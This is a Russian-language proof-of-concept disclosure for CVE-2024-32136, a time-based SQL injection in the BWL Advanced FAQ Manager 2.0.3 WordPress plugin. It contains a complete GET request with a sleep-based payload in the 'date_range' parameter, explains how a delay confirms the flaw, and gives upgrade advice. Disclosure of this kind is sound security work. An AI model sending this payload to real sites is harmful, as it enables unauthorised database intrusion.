
Эксплойт доказательства концепции для CVE-2024-32136, SQL-инъекция после аутентификации в BWL Advanced FAQ Manager 2.0.3, демонстрирующая временную манипуляцию базой данных через параметр 'date_range'.
Название эксплойта: BWL Advanced FAQ Manager 2.0.3 - SQL-инъекция после аутентификации
Дата: 14 апреля 2024
Автор эксплойта: Ivan Spiridonov (xbz0n)
Ссылка на программное обеспечение: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Версия: 2.0.3
Проверено на: Ubuntu 20.04
CVE: CVE-2024-32136
SQL-инъекция — это тип уязвимости безопасности, который позволяет злоумышленнику вмешиваться в запросы к базе данных приложения. Обычно она включает вставку или «инъекцию» SQL-запроса через входные данные от клиента в приложение. Успешная эксплуатация SQL-инъекции может позволить читать конфиденциальные данные из базы данных, изменять данные базы данных (вставка/обновление/удаление), выполнять операции администрирования базы данных (например, остановить СУБД), восстановить содержимое определённого файла, находящегося в файловой системе СУБД, и в некоторых случаях отдавать команды операционной системе.
Уязвимость существует в параметре 'date_range', используемом на странице 'bwl-advanced-faq-analytics' плагина BWL Advanced FAQ Manager. Аутентифицированные злоумышленники могут выполнять произвольные SQL-команды в базе данных, манипулируя входными данными этого параметра.
Следующий GET-запрос демонстрирует уязвимость:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Если ответ сервера задерживается примерно на 20 секунд, это указывает на успешную эксплуатацию временной SQL-инъекции, подтверждая уязвимость.
Пользователям BWL Advanced FAQ Manager v2.0.3 рекомендуется обновить плагин до исправленной версии v2.0.4.